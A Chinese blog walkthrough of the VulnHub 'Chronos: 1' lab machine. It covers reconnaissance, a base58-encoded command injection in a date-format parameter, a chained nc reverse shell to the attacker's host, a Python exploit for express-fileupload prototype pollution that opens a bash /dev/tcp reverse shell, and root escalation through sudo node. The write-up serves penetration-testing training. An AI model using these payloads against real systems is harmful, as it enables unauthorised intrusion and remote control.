作者名:Demo不是emo
主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构每日emo:要做个明亮的人,要有个珍藏的故事,要看遍山河日落,要不虚此行。
从10月中旬开始制定了为期24周的打靶训练(每周一次),所以今天开始进行24次系统性打靶第三次训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第三次打靶训练
第三次打靶训练针对的知识点如下
端口扫描 WEB侦查 命令注入
数据编解码 搜索大法 框架漏洞利用
代码审计 NC串联 本地提权
本周我们学习的对应靶场就是CHRONOS: 1(中等难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索CHRONOS: 1就能下载今天的靶场了,或者点击下面的链接也能打开下载地址
靶场地址 Chronos: 1 ~ VulnHub
提示一下,这台靶机的思路比较新,做下来会比较难,我这个专栏这么久没更新就是做着做着卡住了没有思路, 大家自己做的时候要注意思维的活络,加油
目录
一:攻击准备
二:信息收集
1.主机发现
2.端口扫描
3.web侦察
4.数据编解码
三、渗透流程
1、命令执行漏洞
2、nc反弹shell
3、权限提升途径
[1]、基于内核漏洞提权
[2]、suid权限配置错误
[3]、sudo配置漏洞
[4]、 搜索大法
4、node.js原型污染漏洞
5、sudo错误配置漏洞
6、node反弹shell
四、彩蛋环节
一:攻击准备
直接在vbox导入就可以
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),这里用的是vbox来给大家演示具体操作,如上面这样靶机就算开启了,具体搭建过程就不多讲了,有问题的也可以私信问我
二:信息收集
1.主机发现
上面可以看到我的kali攻击机的ip地址是192.1680.105,但是我们现在并不知道目标靶机的ip地址,所以我们第一目标就是找到目标靶机的ip地址,也就是主机发现
我们用arp-scan扫描工具扫描同网段内的主机(该工具kali自带) ,指令如下
arp-scan -l
扫描结果如下
这里的192.168.0.108就是靶机的ip地址
2.端口扫描
这里我们成功知道了目标的ip地址为192.168.0.108,所以我们先用namp扫描工具对目标开启的端口和服务进行探测,扫描命令如下
nmap -A 192.168.0.108
可以看到目标开启了22端口,对应着ssh服务,还开启了80端口和8000端口,对应着http服务 ,80端口的http服务是通过乌班图系统搭建,而8000端口的服务则是通过node.js搭建,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手
3.web侦察
因为目标的80端口和8000端口都是http服务,所以我们依次访问一下试试,先浏览器访问目标的80端口,页面如下
老样子,先看看页面源码和开发者工具,如果没什么结果的话就去进行目录爬取,页面源码如下
在源码中发现使用了一段js脚本,将脚本复制到本地进行分析
4.数据编解码
将上面的js代码复制下来查看后,发现这段代码中有大量的形如“0x16b66”的数据,说明经过了大量的编码,所以我们第一件事应该是将这段数据解码来整理,美化这段代码
这里给大家推荐一个在线站点,也就是cyberchef,这是一个非常强大的解码编码在线工具
站点链接:CyberChef
用法:页面如下,左侧是代码处理的模块,有几百种,将要用到的代码处理的模块放到Recipe框中,将要处理的代码放到input中,结果就会显示在output中
而有一个模块就是专门用来美化js代码的,叫javascript beautify,搜索中找到然后,将模块添加到Recipe,再把刚才找到的js代码放入input框,在output中会输出美化后的代码,如下
仔细观察美化后的代码,发现了这样一句
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
因为chronos就是这台靶机的名字,local就是本地的意思,而后面开启了8000端口,而最开始我们对靶机进行端口扫描时靶机就开启了8000端口,所以我们猜测chronos.local指向的ip地址就是目标靶机的ip,即192.168.0.108
我们访问chronon.local这个域名,看看有没有信息
访问不到,那说明什么呢?说明这个域名只在目标靶机上能被正常解析为ip,即搭建在了目标靶机上,那我们就可以通过修改主机的host文件来访问该域名,
hosts文件位置在
/etc/hosts
host文件修改如下
此时再访问chronos.local,结果如下
发现下面多了一行字,显示出了当前的时间信息,这是为什么呢?根据我们的猜测,chronos.local这个域名对应着目标的ip地址,我们再访问目标的ip地址试试
可以看到用ip访问的页面和域名访问的页面一样,所以我们的猜测也是对的
三、渗透流程
1、命令执行漏洞
那为什么会新出现一段字并显示出当前时间呢?
而且我们只是做了一个域名与ip的绑定操作,这说明这个网页通过域名获取了资源,那我们直接抓包看看是什么情况
可以看到发送了三个数据包,其中一个请求的网页正是我们最开始在脚本中找到的网址,而且响应包中返回了当前时间,那么我们把这个数据包发到reperter模块继续观察
当我们尝试把format的参数改掉后,就不能正确返回当前日期了
说明这个参数的值有特殊的含义,我们再来仔细看看它的参数,如下
/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
这里format参数的值明显经过了编码,所以我们要进行解码,
这里也用的是cyberchef这个在线站点,此时我们选择magic模块,该模块会自动识别编码类型并进行解码,如下
可以看到是base58编码,而且解码后的结果如下
'+Today is %A, %B %d, %Y %H:%M:%S.'
看到这段代码我就想起了kali的date命令,如下
直接输入date就会打印出当前时间,而这个命令也有很多选项,加这么一串就能达到按照指定格式输出的效果,而刚才页面中多出的一段字正好就是这个指定格式输出的
所以我们大胆的猜测一下参数format的值就是加在date命令后的,而date又是系统命令,那么你会想到什么漏洞?
是不是四个大字浮现在脑海中——命令执行
那我们就尝试连接符将我们的恶意代码插入当前位置,构造如下的命令看看是否存在命令执行漏洞
date '+Today is %A, %B %d, %Y %H:%M:%S.' && ls
注意,这里因为最开始的参数进行了base58编码,所以这里我们也要进行base58编码,同样可以用cyberchef站点,选择to base58模块,如下
将编码的命令作为format参数的值传入,结果如下
可以看到命令成功执行,可以看到当前目录下有如下文件
app.js
node_modules
package.json
package-lock.json
既然存在命令执行漏洞,那我们看看能不能反弹shell,反弹shell最常用的手段是什么,当然是nc反弹shell了,所以我们可以先看看该目标主机的bin目录下有没有nc,命令构造如下
'+Today is %A, %B %d, %Y %H:%M:%S.' && ls /bin
老样子拿去编码后传入,效果如下
可以看到很幸运,存在nc,但是不知道这个nc的版本
2、nc反弹shell
先来测试nc是否能够正常运行,即与我们kali开启的端口进行最基本的连接,构造命令如下,这里的192.168.0.105是我kali的ip
'+Today is %A, %B %d, %Y %H:%M:%S.' && nc 192.168.0.105 1111
再在kali的1111端口开启监听,结果如下
返回的信息提示报错,但是成功建立连接,如下
验证过了能够正常建立连接,再来试试反弹shell
不知道他是有-e参数还是没有-e参数的,那我们不想去试的话就可以直接使用上一次打靶用的技术——NC串联
此文中的文末有详细介绍,感兴趣的同学可以打开看看,链接如下
http://t.csdn.cn/REWOB
利用命令执行漏洞执行下面的代码
nc 192.168.0.105 1111|/bin/bash |nc 192.168.0.105 2222
即构造命令如下
'+Today is %A, %B %d, %Y %H:%M:%S.' && nc 192.168.0.105 1111|/bin/bash |nc 192.168.0.105 2222
在kali上开启1111和2222端口的监听
此时执行命令
同样返回错误,再查看监听状态
成功拿到权限,此时我们在一个终端输入的命令,结果就会在另一个终端显示出来,可以看到我们现在是www-data权限,权限非常低
我们先看看当前机器存在哪些用户
可以看到存在一个imera用户,并且该用户文件下还存在一个user.txt的文件,但是我们现在没有权限访问,访问的话至少都需要imera用户的权限,所以又来到了每个靶场最麻烦的时刻——提权
在以前的靶机提权中,我们使用的都是那三种方式
3、权限提升途径
[1]、基于内核漏洞提权
查看内核版本,去网上查是否存在相关漏洞
uname -a
[2]、suid权限配置错误
[3]、sudo配置漏洞
sudo -l
[4]、 搜索大法
当你全部去尝试过后,就......,就寄了,这台靶机在这方面什么都没有
这样的处境在真实环境中经常会遇到,就是你常见的,惯用的提权技巧在目标机器上无效,这时候就要去寻找新的思路,那如何寻找呢?
其实最关键的就是在目标系统上进行大量的信息收集,让我们从头把思路在捋一捋,先回到最开始的位置
此时我发现了一个很奇怪的点,这个目录应该就是网页的源码目录,但是并没有什么php,jsp,python等等的文件,说明这个网站的编写语言就是js,而我们通常对js的认知就是运行在浏览器的前端代码,而不会认为是用来写服务端应用程序的,但其实node.js就可以实现用javascript语言来编写web应用程序的功能,但很多同学会说,哎呀我不会这个技术怎么办呢?
问题不大,真实环境中很多时候都会碰到自己不熟悉的技术,这时候我们就要培养我们的快速学习能力,从网上快速的吸收知识,了解该技术最本质的实现原理
简单来了解一下node,js技术
node.js技术就是用于利用javascript代码在服务器上搭建web应用程序,而且这样搭建出来的web应用程序有很多独有的优势,比如非阻塞机制,异步输入输出之类的模型,使得这些web应用程序在处理某些特定程序时性能大大提高,并且通常都是基于一些已有的框架和库来进行开发,而express.js库是基于web应用开发使用的最多的
我们首先查看package.json文件,该文件是基于node.js开发web应用程序都会存在,里面含有大量重要配置信息,一些需要的库和框架之类的,查看结果如下
可以看到三个库和框架信息,我们可以针对这三个库和框架的版本去搜索一些信息,看看是否有漏洞
再来看看这个web应用程序的主文件app.js,查看结果如下
仔细分析了一下源码,结果发现只是对最初那个命令执行漏洞的形成原因有了一个更清晰的认识,并没有包含什么能够让我提权的信息,很烦,只能继续找
功夫不负有心人,在该目录的上一级目录中成功找到一点信息,如下
发现opt目录下除了chronos这个web应用外还有一个chronos-v2这样一个新的web应用,而且还是root权限,进入该目录查看信息,如下
可以看到存在一个主页面和前端文件,后端文件,我们先进入后端文件看看
发现了四个文件
node_modules
package.json
package-lock.json
server.js
继续查看package.json文件,如下
此时一个框架引起了我的注意
express-fileupload": "^1.1.7-alpha.3"
感觉有点文件上传那味了,是否可以上传webshell呢?我们再去查看主文件,也就是server.js,如下
原本我就在想,既然这也是一个web应用程序,为什么我最开始扫描的时候没有扫描到,直到看到这段代码
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
所以这个web应用程序只建立在127.0.0.1的8080端口上,也就是本机上,但是这段代码也没有什么明确的漏洞点,所以还是不得不从使用的模块和框架下手,但是又不熟悉,于是只能去百度,谷歌这些进行大量的搜索,以期待寻找到可利用的漏洞
在找了差不多半天的时候终于发现了express-fileupload这个模块存在的一个漏洞,文档链接如下
流行的Node.js库中存在原型污染漏洞,可致Web应用程序遭受DoS和远程Shell攻击 - FreeBuf网络安全行业门户
这个文档中指出了1.1.9之前的express-fileupload模块都存在该漏洞,但是没有讲到任何的利用方式
并且在国内并没有搜到该漏洞的利用方式,所以只能科学上网到外面去找,终于找到了该漏洞的利用方式
https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
这篇文档就详细的介绍了这个漏洞的原理和利用方式,并且文章还给出了链接,指向了漏洞发现者的博客,于是我又跟着链接来到发现者的博客,如下
在该文档中指出如果想利用这个漏洞的话,processNested功能必须开启
我们再回来一看
可以看到这个processNested确实是开启的,也就是这个漏洞利用的条件是有的
4、node.js原型污染漏洞
最棒的是作者在文章末尾还贴心的给出了一段简化过后的漏洞利用代码(python),如下
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
只需要将这段代码中的部分进行替换,替换规则如下如下
p6.is/8888 替换为 kali攻击机的ip/监听端口
p6.is:7777 替换为 目标ip:目标web应用程序运行端口
将这段代码复制到kali中,替换内容后编写为py文件,如下
因为刚才我们看了这个漏洞web应用程序只存在于127.0.0.1,所以这里的ip就填127.0.0.1,因为我们最后要上传到目标机器中,所以不用担心不能解析
再将编写好的脚本,传到目标机器中,步骤如下
kali攻击机
1、service apache2 start
开启apache以供我们在目标机器上下载文件
2、cp exp.py /var/www/html
同样为了方便下载
目标机器
3、cd /tmp
tmp目录权限较高
4、wget http://192.168.0.105/exp.py
下载文件
可以看到exp.py已经被成功上传了
接下来就在kali上开启5555端口(脚本中设定的监听端口号)的监听
再在目标机器上使用python执行该代码,效果如下
成功拿下imera权限,但这个权限是不是管理员权限暂时不知道,不过它在主目录下那个user.txt文件可是终于能打开了,查看后如下
成功拿下第一个flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
但是按照作者给出的提示来说root目录下还有一个flag,我们来尝试获取,如下
但是果不其然,进不去,提示没有权限,我们不得不再次面对第二次的提权(我真的裂开)
5、sudo错误配置漏洞
之前给大家说过我们再linux下提权时通常有三种方式。第一种就是内核漏洞提权,第二种就是suid错误配置,第三种就是sudo错误配置,而这个用户的权限则存在sudo错误配置漏洞,如下
这说明了什么?说明我们可以在不需要密码的情况下就可以通过sudo执行npm命令和node命令,
node就是一种类似于java的语言开发环境,我们都知道利用python可以反弹shell,其实java也可以,所以node也可以,代码如下
6、node反弹shell
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
因为node可以靠sudo以root用户执行,所以直接执行上面的代码就可以了
拿下root权限,再去拿flag
成功拿下第二个flag
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
四、彩蛋环节
将第一次的flag和第二次的flag解码
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
交给我们的magic,得到这样两句话
o chronos pernaei file mou
apopse siopi mazeuoume oneira
第二句话交给我们的百度翻有道
到这里这台靶机就全部结束了,我只能说真的有难度,如果你也走到了这一步,请你也感谢一下每个时刻不甘心平凡的你,一起加油吧